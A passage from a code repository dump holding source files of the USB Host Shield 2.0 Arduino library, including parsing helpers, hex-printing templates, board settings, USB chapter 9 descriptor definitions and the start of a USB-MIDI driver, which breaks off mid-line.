    "path": "libraries/USB_Host_Shield_2.0/parsetools.cpp",
    "content": "/* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved.\n\nThis program is free software; you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation; either version 2 of the License, or\n(at your option) any later version.\n\nThis program is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with this program; if not, write to the Free Software\nFoundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA\n\nContact information\n-------------------\n\nCircuits At Home, LTD\nWeb      :  http://www.circuitsathome.com\ne-mail   :  support@circuitsathome.com\n */\n#include \"Usb.h\"\n\nbool MultiByteValueParser::Parse(uint8_t **pp, uint16_t *pcntdn) {\n        if(!pBuf) {\n                Notify(PSTR(\"Buffer pointer is NULL!\\r\\n\"), 0x80);\n                return false;\n        }\n        for(; countDown && (*pcntdn); countDown--, (*pcntdn)--, (*pp)++)\n                pBuf[valueSize - countDown] = (**pp);\n\n        if(countDown)\n                return false;\n\n        countDown = valueSize;\n        return true;\n}\n\nbool PTPListParser::Parse(uint8_t **pp, uint16_t *pcntdn, PTP_ARRAY_EL_FUNC pf, const void *me) {\n        switch(nStage) {\n                case 0:\n                        pBuf->valueSize = lenSize;\n                        theParser.Initialize(pBuf);\n                        nStage = 1;\n\n                case 1:\n                        if(!theParser.Parse(pp, pcntdn))\n                                return false;\n\n                        arLen = 0;\n                        arLen = (pBuf->valueSize >= 4) ? *((uint32_t*)pBuf->pValue) : (uint32_t)(*((uint16_t*)pBuf->pValue));\n                        arLenCntdn = arLen;\n                        nStage = 2;\n\n                case 2:\n                        pBuf->valueSize = valSize;\n                        theParser.Initialize(pBuf);\n                        nStage = 3;\n\n                case 3:\n                        for(; arLenCntdn; arLenCntdn--) {\n                                if(!theParser.Parse(pp, pcntdn))\n                                        return false;\n\n                                if(pf)\n                                        pf(pBuf, (arLen - arLenCntdn), me);\n                        }\n\n                        nStage = 0;\n        }\n        return true;\n}\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/parsetools.h",
    "content": "/* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved.\n\nThis program is free software; you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation; either version 2 of the License, or\n(at your option) any later version.\n\nThis program is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with this program; if not, write to the Free Software\nFoundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA\n\nContact information\n-------------------\n\nCircuits At Home, LTD\nWeb      :  http://www.circuitsathome.com\ne-mail   :  support@circuitsathome.com\n */\n\n#if !defined(_usb_h_) || defined(__PARSETOOLS_H__)\n#error \"Never include parsetools.h directly; include Usb.h instead\"\n#else\n#define __PARSETOOLS_H__\n\nstruct MultiValueBuffer {\n        uint8_t valueSize;\n        void *pValue;\n} __attribute__((packed));\n\nclass MultiByteValueParser {\n        uint8_t * pBuf;\n        uint8_t countDown;\n        uint8_t valueSize;\n\npublic:\n\n        MultiByteValueParser() : pBuf(NULL), countDown(0), valueSize(0) {\n        };\n\n        const uint8_t* GetBuffer() {\n                return pBuf;\n        };\n\n        void Initialize(MultiValueBuffer * const pbuf) {\n                pBuf = (uint8_t*)pbuf->pValue;\n                countDown = valueSize = pbuf->valueSize;\n        };\n\n        bool Parse(uint8_t **pp, uint16_t *pcntdn);\n};\n\nclass ByteSkipper {\n        uint8_t *pBuf;\n        uint8_t nStage;\n        uint16_t countDown;\n\npublic:\n\n        ByteSkipper() : pBuf(NULL), nStage(0), countDown(0) {\n        };\n\n        void Initialize(MultiValueBuffer *pbuf) {\n                pBuf = (uint8_t*)pbuf->pValue;\n                countDown = 0;\n        };\n\n        bool Skip(uint8_t **pp, uint16_t *pcntdn, uint16_t bytes_to_skip) {\n                switch(nStage) {\n                        case 0:\n                                countDown = bytes_to_skip;\n                                nStage++;\n                        case 1:\n                                for(; countDown && (*pcntdn); countDown--, (*pp)++, (*pcntdn)--);\n\n                                if(!countDown)\n                                        nStage = 0;\n                };\n                return (!countDown);\n        };\n};\n\n// Pointer to a callback function triggered for each element of PTP array when used with PTPArrayParser\ntypedef void (*PTP_ARRAY_EL_FUNC)(const MultiValueBuffer * const p, uint32_t count, const void *me);\n\nclass PTPListParser {\npublic:\n\n        enum ParseMode {\n                modeArray, modeRange/*, modeEnum*/\n        };\n\nprivate:\n        uint8_t nStage;\n        uint8_t enStage;\n\n        uint32_t arLen;\n        uint32_t arLenCntdn;\n\n        uint8_t lenSize; // size of the array length field in bytes\n        uint8_t valSize; // size of the array element in bytes\n\n        MultiValueBuffer *pBuf;\n\n        // The only parser for both size and array element parsing\n        MultiByteValueParser theParser;\n\n        uint8_t /*ParseMode*/ prsMode;\n\npublic:\n\n        PTPListParser() :\n        nStage(0),\n        enStage(0),\n        arLen(0),\n        arLenCntdn(0),\n        lenSize(0),\n        valSize(0),\n        pBuf(NULL),\n        prsMode(modeArray) {\n        };\n\n        void Initialize(const uint8_t len_size, const uint8_t val_size, MultiValueBuffer * const p, const uint8_t mode = modeArray) {\n                pBuf = p;\n                lenSize = len_size;\n                valSize = val_size;\n                prsMode = mode;\n\n                if(prsMode == modeRange) {\n                        arLenCntdn = arLen = 3;\n                        nStage = 2;\n                } else {\n                        arLenCntdn = arLen = 0;\n                        nStage = 0;\n                }\n                enStage = 0;\n                theParser.Initialize(p);\n        };\n\n        bool Parse(uint8_t **pp, uint16_t *pcntdn, PTP_ARRAY_EL_FUNC pf, const void *me = NULL);\n};\n\n#endif // __PARSETOOLS_H__\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/printhex.h",
    "content": "/* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved.\n\nThis program is free software; you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation; either version 2 of the License, or\n(at your option) any later version.\n\nThis program is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with this program; if not, write to the Free Software\nFoundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA\n\nContact information\n-------------------\n\nCircuits At Home, LTD\nWeb      :  http://www.circuitsathome.com\ne-mail   :  support@circuitsathome.com\n */\n\n#if !defined(_usb_h_) || defined(__PRINTHEX_H__)\n#error \"Never include printhex.h directly; include Usb.h instead\"\n#else\n#define __PRINTHEX_H__\n\nvoid E_Notifyc(char c, int lvl);\n\ntemplate <class T>\nvoid PrintHex(T val, int lvl) {\n        int num_nibbles = sizeof (T) * 2;\n\n        do {\n                char v = 48 + (((val >> (num_nibbles - 1) * 4)) & 0x0f);\n                if(v > 57) v += 7;\n                E_Notifyc(v, lvl);\n        } while(--num_nibbles);\n}\n\ntemplate <class T>\nvoid PrintBin(T val, int lvl) {\n        for(T mask = (((T)1) << ((sizeof (T) << 3) - 1)); mask; mask >>= 1)\n                if(val & mask)\n                        E_Notifyc('1', lvl);\n                else\n                        E_Notifyc('0', lvl);\n}\n\ntemplate <class T>\nvoid SerialPrintHex(T val) {\n        int num_nibbles = sizeof (T) * 2;\n\n        do {\n                char v = 48 + (((val >> (num_nibbles - 1) * 4)) & 0x0f);\n                if(v > 57) v += 7;\n                USB_HOST_SERIAL.print(v);\n        } while(--num_nibbles);\n}\n\ntemplate <class T>\nvoid PrintHex2(Print *prn, T val) {\n        T mask = (((T)1) << (((sizeof (T) << 1) - 1) << 2));\n\n        while(mask > 1) {\n                if(val < mask)\n                        prn->print(\"0\");\n\n                mask >>= 4;\n        }\n        prn->print((T)val, HEX);\n}\n\ntemplate <class T> void D_PrintHex(T val __attribute__((unused)), int lvl __attribute__((unused))) {\n#ifdef DEBUG_USB_HOST\n        PrintHex<T > (val, lvl);\n#endif\n}\n\ntemplate <class T>\nvoid D_PrintBin(T val, int lvl) {\n#ifdef DEBUG_USB_HOST\n        PrintBin<T > (val, lvl);\n#endif\n}\n\n\n\n#endif // __PRINTHEX_H__\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/settings.h",
    "content": "/* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved.\n\nThis program is free software; you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation; either version 2 of the License, or\n(at your option) any later version.\n\nThis program is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with this program; if not, write to the Free Software\nFoundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA\n\nContact information\n-------------------\n\nCircuits At Home, LTD\nWeb      :  http://www.circuitsathome.com\ne-mail   :  support@circuitsathome.com\n */\n\n#ifndef USB_HOST_SHIELD_SETTINGS_H\n#define USB_HOST_SHIELD_SETTINGS_H\n#include \"macros.h\"\n\n////////////////////////////////////////////////////////////////////////////////\n// SPI Configuration\n////////////////////////////////////////////////////////////////////////////////\n#ifndef USB_SPI\n#define USB_SPI SPI\n//#define USB_SPI SPI1\n#endif\n\n////////////////////////////////////////////////////////////////////////////////\n// DEBUGGING\n////////////////////////////////////////////////////////////////////////////////\n\n/* Set this to 1 to activate serial debugging */\n#define ENABLE_UHS_DEBUGGING 0\n\n/* This can be used to select which serial port to use for debugging if\n * multiple serial ports are available.\n * For example Serial3.\n */\n#ifndef USB_HOST_SERIAL\n#define USB_HOST_SERIAL Serial\n#endif\n\n////////////////////////////////////////////////////////////////////////////////\n// Manual board activation\n////////////////////////////////////////////////////////////////////////////////\n\n/* Set this to 1 if you are using an Arduino Mega ADK board with MAX3421e built-in */\n#define USE_UHS_MEGA_ADK 0 // If you are using Arduino 1.5.5 or newer there is no need to do this manually\n\n/* Set this to 1 if you are using a Black Widdow */\n#define USE_UHS_BLACK_WIDDOW 0\n\n/* Set this to a one to use the xmem2 lock. This is needed for multitasking and threading */\n#define USE_XMEM_SPI_LOCK 0\n\n////////////////////////////////////////////////////////////////////////////////\n// Wii IR camera\n////////////////////////////////////////////////////////////////////////////////\n\n/* Set this to 1 to activate code for the Wii IR camera */\n#define ENABLE_WII_IR_CAMERA 0\n\n////////////////////////////////////////////////////////////////////////////////\n// MASS STORAGE\n////////////////////////////////////////////////////////////////////////////////\n// <<<<<<<<<<<<<<<< IMPORTANT >>>>>>>>>>>>>>>\n// Set this to 1 to support single LUN devices, and save RAM. -- I.E. thumb drives.\n// Each LUN needs ~13 bytes to be able to track the state of each unit.\n#ifndef MASS_MAX_SUPPORTED_LUN\n#define MASS_MAX_SUPPORTED_LUN 8\n#endif\n\n////////////////////////////////////////////////////////////////////////////////\n// Set to 1 to use the faster spi4teensy3 driver.\n////////////////////////////////////////////////////////////////////////////////\n#ifndef USE_SPI4TEENSY3\n#define USE_SPI4TEENSY3 1\n#endif\n\n// Disabled on the Teensy LC, as it is incompatible for now\n#if defined(__MKL26Z64__)\n#undef USE_SPI4TEENSY3\n#define USE_SPI4TEENSY3 0\n#endif\n\n////////////////////////////////////////////////////////////////////////////////\n// AUTOMATIC Settings\n////////////////////////////////////////////////////////////////////////////////\n\n// No user serviceable parts below this line.\n// DO NOT change anything below here unless you are a developer!\n\n#include \"version_helper.h\"\n\n#if defined(__GNUC__) && defined(__AVR__)\n#ifndef GCC_VERSION\n#define GCC_VERSION (__GNUC__ * 10000 + __GNUC_MINOR__ * 100 + __GNUC_PATCHLEVEL__)\n#endif\n#if GCC_VERSION < 40602 // Test for GCC < 4.6.2\n#ifdef PROGMEM\n#undef PROGMEM\n#define PROGMEM __attribute__((section(\".progmem.data\"))) // Workaround for http://gcc.gnu.org/bugzilla/show_bug.cgi?id=34734#c4\n#ifdef PSTR\n#undef PSTR\n#define PSTR(s) (__extension__({static const char __c[] PROGMEM = (s); &__c[0];})) // Copied from pgmspace.h in avr-libc source\n#endif\n#endif\n#endif\n#endif\n\n#if !defined(DEBUG_USB_HOST) && ENABLE_UHS_DEBUGGING\n#define DEBUG_USB_HOST\n#endif\n\n#if !defined(WIICAMERA) && ENABLE_WII_IR_CAMERA\n#define WIICAMERA\n#endif\n\n// To use some other locking (e.g. freertos),\n// define XMEM_ACQUIRE_SPI and XMEM_RELEASE_SPI to point to your lock and unlock.\n// NOTE: NO argument is passed. You have to do this within your routine for\n// whatever you are using to lock and unlock.\n#if !defined(XMEM_ACQUIRE_SPI)\n#if USE_XMEM_SPI_LOCK || defined(USE_MULTIPLE_APP_API)\n#include <xmem.h>\n#else\n#define XMEM_ACQUIRE_SPI() (void(0))\n#define XMEM_RELEASE_SPI() (void(0))\n#endif\n#endif\n\n#if !defined(EXT_RAM) && defined(EXT_RAM_STACK) || defined(EXT_RAM_HEAP)\n#include <xmem.h>\n#else\n#define EXT_RAM 0\n#endif\n\n#if defined(CORE_TEENSY) && defined(KINETISK)\n#define USING_SPI4TEENSY3 USE_SPI4TEENSY3\n#else\n#define USING_SPI4TEENSY3 0\n#endif\n\n#if ((defined(ARDUINO_SAM_DUE) && defined(__SAM3X8E__)) || defined(__ARDUINO_X86__) || ARDUINO >= 10600) && !USING_SPI4TEENSY3\n#include <SPI.h> // Use the Arduino SPI library for the Arduino Due, Intel Galileo 1 & 2, Intel Edison or if the SPI library with transaction is available\n#endif\n#ifdef RBL_NRF51822\n#include <nrf_gpio.h>\n#include <SPI_Master.h>\n#define SPI SPI_Master\n#define MFK_CASTUINT8T (uint8_t) // RBLs return type for sizeof needs casting to uint8_t\n#endif\n#if defined(__PIC32MX__) || defined(__PIC32MZ__)\n#include <../../../../hardware/pic32/libraries/SPI/SPI.h> // Hack to use the SPI library\n#endif\n\n#if defined(ESP8266) || defined(ESP32)\n#define MFK_CASTUINT8T (uint8_t) // ESP return type for sizeof needs casting to uint8_t\n#endif\n\n#ifdef STM32F4\n#include \"stm32f4xx_hal.h\"\nextern SPI_HandleTypeDef SPI_Handle; // Needed to be declared in your main.cpp\n#endif\n\n// Fix defines on Arduino Due\n#ifdef ARDUINO_SAM_DUE\n#ifdef tokSETUP\n#undef tokSETUP\n#endif\n#ifdef tokIN\n#undef tokIN\n#endif\n#ifdef tokOUT\n#undef tokOUT\n#endif\n#ifdef tokINHS\n#undef tokINHS\n#endif\n#ifdef tokOUTHS\n#undef tokOUTHS\n#endif\n#endif\n\n// Set defaults\n#ifndef MFK_CASTUINT8T\n#define MFK_CASTUINT8T\n#endif\n\n// Workaround issue: https://github.com/esp8266/Arduino/issues/2078\n#ifdef ESP8266\n#undef PROGMEM\n#define PROGMEM\n#undef PSTR\n#define PSTR(s) (s)\n#undef pgm_read_byte\n#define pgm_read_byte(addr) (*reinterpret_cast<const uint8_t*>(addr))\n#undef pgm_read_word\n#define pgm_read_word(addr) (*reinterpret_cast<const uint16_t*>(addr))\n#endif\n\n#ifdef ARDUINO_ESP8266_WIFIO\n#error \"This board is currently not supported\"\n#endif\n\n#endif /* SETTINGS_H */\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/sink_parser.h",
    "content": "/* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved.\n\nThis software may be distributed and modified under the terms of the GNU\nGeneral Public License version 2 (GPL2) as published by the Free Software\nFoundation and appearing in the file GPL2.TXT included in the packaging of\nthis file. Please note that GPL2 Section 2[b] requires that all works based\non this software must also be made publicly available under the terms of\nthe GPL2 (\"Copyleft\").\n\nContact information\n-------------------\n\nCircuits At Home, LTD\nWeb      :  http://www.circuitsathome.com\ne-mail   :  support@circuitsathome.com\n */\n#if !defined(_usb_h_) || defined(__SINK_PARSER_H__)\n#error \"Never include hexdump.h directly; include Usb.h instead\"\n#else\n#define __SINK_PARSER_H__\n\nextern int UsbDEBUGlvl;\n\n// This parser does absolutely nothing with the data, just swallows it.\n\ntemplate <class BASE_CLASS, class LEN_TYPE, class OFFSET_TYPE>\nclass SinkParser : public BASE_CLASS {\npublic:\n\n        SinkParser() {\n        };\n\n        void Initialize() {\n        };\n\n        void Parse(const LEN_TYPE len, const uint8_t *pbuf, const OFFSET_TYPE &offset) {\n        };\n};\n\n\n#endif // __HEXDUMP_H__\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/usb_ch9.h",
    "content": "/* Copyright (C) 2011 Circuits At Home, LTD. All rights reserved.\n\nThis program is free software; you can redistribute it and/or modify\nit under the terms of the GNU General Public License as published by\nthe Free Software Foundation; either version 2 of the License, or\n(at your option) any later version.\n\nThis program is distributed in the hope that it will be useful,\nbut WITHOUT ANY WARRANTY; without even the implied warranty of\nMERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\nGNU General Public License for more details.\n\nYou should have received a copy of the GNU General Public License\nalong with this program; if not, write to the Free Software\nFoundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA\n\nContact information\n-------------------\n\nCircuits At Home, LTD\nWeb      :  http://www.circuitsathome.com\ne-mail   :  support@circuitsathome.com\n */\n\n#if !defined(_usb_h_) || defined(_ch9_h_)\n#error \"Never include usb_ch9.h directly; include Usb.h instead\"\n#else\n\n/* USB chapter 9 structures */\n#define _ch9_h_\n\n/* Misc.USB constants */\n#define DEV_DESCR_LEN   18      //device descriptor length\n#define CONF_DESCR_LEN  9       //configuration descriptor length\n#define INTR_DESCR_LEN  9       //interface descriptor length\n#define EP_DESCR_LEN    7       //endpoint descriptor length\n\n/* Standard Device Requests */\n\n#define USB_REQUEST_GET_STATUS                  0       // Standard Device Request - GET STATUS\n#define USB_REQUEST_CLEAR_FEATURE               1       // Standard Device Request - CLEAR FEATURE\n#define USB_REQUEST_SET_FEATURE                 3       // Standard Device Request - SET FEATURE\n#define USB_REQUEST_SET_ADDRESS                 5       // Standard Device Request - SET ADDRESS\n#define USB_REQUEST_GET_DESCRIPTOR              6       // Standard Device Request - GET DESCRIPTOR\n#define USB_REQUEST_SET_DESCRIPTOR              7       // Standard Device Request - SET DESCRIPTOR\n#define USB_REQUEST_GET_CONFIGURATION           8       // Standard Device Request - GET CONFIGURATION\n#define USB_REQUEST_SET_CONFIGURATION           9       // Standard Device Request - SET CONFIGURATION\n#define USB_REQUEST_GET_INTERFACE               10      // Standard Device Request - GET INTERFACE\n#define USB_REQUEST_SET_INTERFACE               11      // Standard Device Request - SET INTERFACE\n#define USB_REQUEST_SYNCH_FRAME                 12      // Standard Device Request - SYNCH FRAME\n\n#define USB_FEATURE_ENDPOINT_HALT               0       // CLEAR/SET FEATURE - Endpoint Halt\n#define USB_FEATURE_DEVICE_REMOTE_WAKEUP        1       // CLEAR/SET FEATURE - Device remote wake-up\n#define USB_FEATURE_TEST_MODE                   2       // CLEAR/SET FEATURE - Test mode\n\n/* Setup Data Constants */\n\n#define USB_SETUP_HOST_TO_DEVICE                0x00    // Device Request bmRequestType transfer direction - host to device transfer\n#define USB_SETUP_DEVICE_TO_HOST                0x80    // Device Request bmRequestType transfer direction - device to host transfer\n#define USB_SETUP_TYPE_STANDARD                 0x00    // Device Request bmRequestType type - standard\n#define USB_SETUP_TYPE_CLASS                    0x20    // Device Request bmRequestType type - class\n#define USB_SETUP_TYPE_VENDOR                   0x40    // Device Request bmRequestType type - vendor\n#define USB_SETUP_RECIPIENT_DEVICE              0x00    // Device Request bmRequestType recipient - device\n#define USB_SETUP_RECIPIENT_INTERFACE           0x01    // Device Request bmRequestType recipient - interface\n#define USB_SETUP_RECIPIENT_ENDPOINT            0x02    // Device Request bmRequestType recipient - endpoint\n#define USB_SETUP_RECIPIENT_OTHER               0x03    // Device Request bmRequestType recipient - other\n\n/* USB descriptors  */\n\n#define USB_DESCRIPTOR_DEVICE                   0x01    // bDescriptorType for a Device Descriptor.\n#define USB_DESCRIPTOR_CONFIGURATION            0x02    // bDescriptorType for a Configuration Descriptor.\n#define USB_DESCRIPTOR_STRING                   0x03    // bDescriptorType for a String Descriptor.\n#define USB_DESCRIPTOR_INTERFACE                0x04    // bDescriptorType for an Interface Descriptor.\n#define USB_DESCRIPTOR_ENDPOINT                 0x05    // bDescriptorType for an Endpoint Descriptor.\n#define USB_DESCRIPTOR_DEVICE_QUALIFIER         0x06    // bDescriptorType for a Device Qualifier.\n#define USB_DESCRIPTOR_OTHER_SPEED              0x07    // bDescriptorType for a Other Speed Configuration.\n#define USB_DESCRIPTOR_INTERFACE_POWER          0x08    // bDescriptorType for Interface Power.\n#define USB_DESCRIPTOR_OTG                      0x09    // bDescriptorType for an OTG Descriptor.\n\n#define HID_DESCRIPTOR_HID                      0x21\n\n\n\n/* OTG SET FEATURE Constants    */\n#define OTG_FEATURE_B_HNP_ENABLE                3       // SET FEATURE OTG - Enable B device to perform HNP\n#define OTG_FEATURE_A_HNP_SUPPORT               4       // SET FEATURE OTG - A device supports HNP\n#define OTG_FEATURE_A_ALT_HNP_SUPPORT           5       // SET FEATURE OTG - Another port on the A device supports HNP\n\n/* USB Endpoint Transfer Types  */\n#define USB_TRANSFER_TYPE_CONTROL               0x00    // Endpoint is a control endpoint.\n#define USB_TRANSFER_TYPE_ISOCHRONOUS           0x01    // Endpoint is an isochronous endpoint.\n#define USB_TRANSFER_TYPE_BULK                  0x02    // Endpoint is a bulk endpoint.\n#define USB_TRANSFER_TYPE_INTERRUPT             0x03    // Endpoint is an interrupt endpoint.\n#define bmUSB_TRANSFER_TYPE                     0x03    // bit mask to separate transfer type from ISO attributes\n\n\n/* Standard Feature Selectors for CLEAR_FEATURE Requests    */\n#define USB_FEATURE_ENDPOINT_STALL              0       // Endpoint recipient\n#define USB_FEATURE_DEVICE_REMOTE_WAKEUP        1       // Device recipient\n#define USB_FEATURE_TEST_MODE                   2       // Device recipient\n\n/* descriptor data structures */\n\n/* Device descriptor structure */\ntypedef struct {\n        uint8_t bLength; // Length of this descriptor.\n        uint8_t bDescriptorType; // DEVICE descriptor type (USB_DESCRIPTOR_DEVICE).\n        uint16_t bcdUSB; // USB Spec Release Number (BCD).\n        uint8_t bDeviceClass; // Class code (assigned by the USB-IF). 0xFF-Vendor specific.\n        uint8_t bDeviceSubClass; // Subclass code (assigned by the USB-IF).\n        uint8_t bDeviceProtocol; // Protocol code (assigned by the USB-IF). 0xFF-Vendor specific.\n        uint8_t bMaxPacketSize0; // Maximum packet size for endpoint 0.\n        uint16_t idVendor; // Vendor ID (assigned by the USB-IF).\n        uint16_t idProduct; // Product ID (assigned by the manufacturer).\n        uint16_t bcdDevice; // Device release number (BCD).\n        uint8_t iManufacturer; // Index of String Descriptor describing the manufacturer.\n        uint8_t iProduct; // Index of String Descriptor describing the product.\n        uint8_t iSerialNumber; // Index of String Descriptor with the device's serial number.\n        uint8_t bNumConfigurations; // Number of possible configurations.\n} __attribute__((packed)) USB_DEVICE_DESCRIPTOR;\n\n/* Configuration descriptor structure */\ntypedef struct {\n        uint8_t bLength; // Length of this descriptor.\n        uint8_t bDescriptorType; // CONFIGURATION descriptor type (USB_DESCRIPTOR_CONFIGURATION).\n        uint16_t wTotalLength; // Total length of all descriptors for this configuration.\n        uint8_t bNumInterfaces; // Number of interfaces in this configuration.\n        uint8_t bConfigurationValue; // Value of this configuration (1 based).\n        uint8_t iConfiguration; // Index of String Descriptor describing the configuration.\n        uint8_t bmAttributes; // Configuration characteristics.\n        uint8_t bMaxPower; // Maximum power consumed by this configuration.\n} __attribute__((packed)) USB_CONFIGURATION_DESCRIPTOR;\n\n/* Interface descriptor structure */\ntypedef struct {\n        uint8_t bLength; // Length of this descriptor.\n        uint8_t bDescriptorType; // INTERFACE descriptor type (USB_DESCRIPTOR_INTERFACE).\n        uint8_t bInterfaceNumber; // Number of this interface (0 based).\n        uint8_t bAlternateSetting; // Value of this alternate interface setting.\n        uint8_t bNumEndpoints; // Number of endpoints in this interface.\n        uint8_t bInterfaceClass; // Class code (assigned by the USB-IF).  0xFF-Vendor specific.\n        uint8_t bInterfaceSubClass; // Subclass code (assigned by the USB-IF).\n        uint8_t bInterfaceProtocol; // Protocol code (assigned by the USB-IF).  0xFF-Vendor specific.\n        uint8_t iInterface; // Index of String Descriptor describing the interface.\n} __attribute__((packed)) USB_INTERFACE_DESCRIPTOR;\n\n/* Endpoint descriptor structure */\ntypedef struct {\n        uint8_t bLength; // Length of this descriptor.\n        uint8_t bDescriptorType; // ENDPOINT descriptor type (USB_DESCRIPTOR_ENDPOINT).\n        uint8_t bEndpointAddress; // Endpoint address. Bit 7 indicates direction (0=OUT, 1=IN).\n        uint8_t bmAttributes; // Endpoint transfer type.\n        uint16_t wMaxPacketSize; // Maximum packet size.\n        uint8_t bInterval; // Polling interval in frames.\n} __attribute__((packed)) USB_ENDPOINT_DESCRIPTOR;\n\n/* HID descriptor */\ntypedef struct {\n        uint8_t bLength;\n        uint8_t bDescriptorType;\n        uint16_t bcdHID; // HID class specification release\n        uint8_t bCountryCode;\n        uint8_t bNumDescriptors; // Number of additional class specific descriptors\n        uint8_t bDescrType; // Type of class descriptor\n        uint16_t wDescriptorLength; // Total size of the Report descriptor\n} __attribute__((packed)) USB_HID_DESCRIPTOR;\n\ntypedef struct {\n        uint8_t bDescrType; // Type of class descriptor\n        uint16_t wDescriptorLength; // Total size of the Report descriptor\n} __attribute__((packed)) HID_CLASS_DESCRIPTOR_LEN_AND_TYPE;\n\n#endif // _ch9_h_\n"
  },
  {
    "path": "libraries/USB_Host_Shield_2.0/usbh_midi.cpp",
    "content": "/*\n *******************************************************************************\n * USB-MIDI class driver for USB Host Shield 2.0 Library\n * Copyright (c) 2012-2018 Yuuichi Akagawa\n *\n * Idea from LPK25 USB-MIDI to Serial MIDI converter\n *   by Collin Cunningham - makezine.com, narbotic.com\n *\n * for use with USB Host Shield 2.0 from Circuitsathome.com\n * https://github.com/felis/USB_Host_Shield_2.0\n *******************************************************************************\n * This program is free software; you can redistribute it and/or modify\n * it under the terms of the GNU General Public License as published by\n * the Free Software Foundation; either version 2 of the License, or\n * (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful,\n * but WITHOUT ANY WARRANTY; without even the implied warranty of\n * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\n * GNU General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License\n * along with this program.  If not, see <http://www.gnu.org/licenses/>\n *******************************************************************************\n */\n\n#include \"usbh_midi.h\"\n//////////////////////////\n// MIDI MESAGES\n// midi.org/techspecs/\n//////////////////////////\n// STATUS BYTES\n// 0x8n == noteOff\n// 0x9n == noteOn\n// 0xAn == afterTouch\n// 0xBn == controlChange\n//    n == Channel(0x0-0xf)\n//////////////////////////\n//DATA BYTE 1\n// note# == (0-127)\n// or\n// control# == (0-119)\n//////////////////////////\n// DATA BYTE 2\n// velocity == (0-127)\n// or\n// controlVal == (0-127)\n///////////////////////////////////////////////////////////////////////////////\n// USB-MIDI Event Packets\n// usb.org - Universal Serial Bus Device Class Definition for MIDI Devices 1.0\n///////////////////////////////////////////////////////////////////////////////\n//+-------------+-------------+-------------+-------------+\n//|   Byte 0    |   Byte 1    |   Byte 2    |   Byte 3    |\n//+------+------+-------------+-------------+-------------+\n//|Cable | Code |             |             |             |\n//|Number|Index |   MIDI_0    |   MIDI_1    |   MIDI_2    |\n//|      |Number|             |             |             |\n//|(4bit)|(4bit)|   (8bit)    |   (8bit)    |   (8bit)    |\n//+------+------+-------------+-------------+-------------+\n// CN == 0x0-0xf\n//+-----+-----------+-------------------------------------------------------------------\n//| CIN |MIDI_x size|Description\n//+-----+-----------+-------------------------------------------------------------------\n//| 0x0 | 1, 2 or 3 |Miscellaneous function codes. Reserved for future extensions.\n//| 0x1 | 1, 2 or 3 |Cable events. Reserved for future expansion.\n//| 0x2 |     2     |Two-byte System Common messages like MTC, SongSelect, etc.\n//| 0x3 |     3     |Three-byte System Common messages like SPP, etc.\n//| 0x4 |     3     |SysEx starts or continues\n//| 0x5 |     1     |Single-byte System Common Message or SysEx ends with following single byte.\n//| 0x6 |     2     |SysEx ends with following two bytes.\n//| 0x7 |     3     |SysEx ends with following three bytes.\n//| 0x8 |     3     |Note-off\n//| 0x9 |     3     |Note-on\n//| 0xA |     3     |Poly-KeyPress\n//| 0xB |     3     |Control Change\n//| 0xC |     2     |Program Change\n//| 0xD |     2     |Channel Pressure\n//| 0xE |     3     |PitchBend Change\n//| 0xF |     1     |Single Byte\n//+-----+-----------+-------------------------------------------------------------------\n\nconst uint8_t USBH_MIDI::epDataInIndex  = 1;\nconst uint8_t USBH_MIDI::epDataOutIndex = 2;\nconst uint8_t USBH_MIDI::epDataInIndexVSP  = 3;\nconst uint8_t USBH_MIDI::epDataOutIndexVSP = 4;\n\nUSBH_MIDI::USBH_MIDI(USB *p) :\npUsb(p),\nbAddress(0),\nbNumEP(1),\nbPollEnable(false),\nisMidiFound(false),\nreadPtr(0) {\n        // initialize endpoint data structures\n        for(uint8_t i=0; i<MIDI_MAX_ENDPOINTS; i++) {\n                epInfo[i].epAddr      = 0;\n                epInfo[i].maxPktSize  = (i) ? 0 : 8;\n                epInfo[i].bmNakPower  = (i) ? USB_NAK_NOWAIT : USB_NAK_MAX_POWER;\n\n        }\n        // register in USB subsystem\n        if (pUsb) {\n                pUsb->RegisterDeviceClass(this);\n        }\n}\n\n/* Connection initialization of an MIDI Device */\nuint8_t USBH_MIDI::Init(uint8_t parent, uint8_t port, bool lowspeed)\n{\n        uint8_t    buf[sizeof 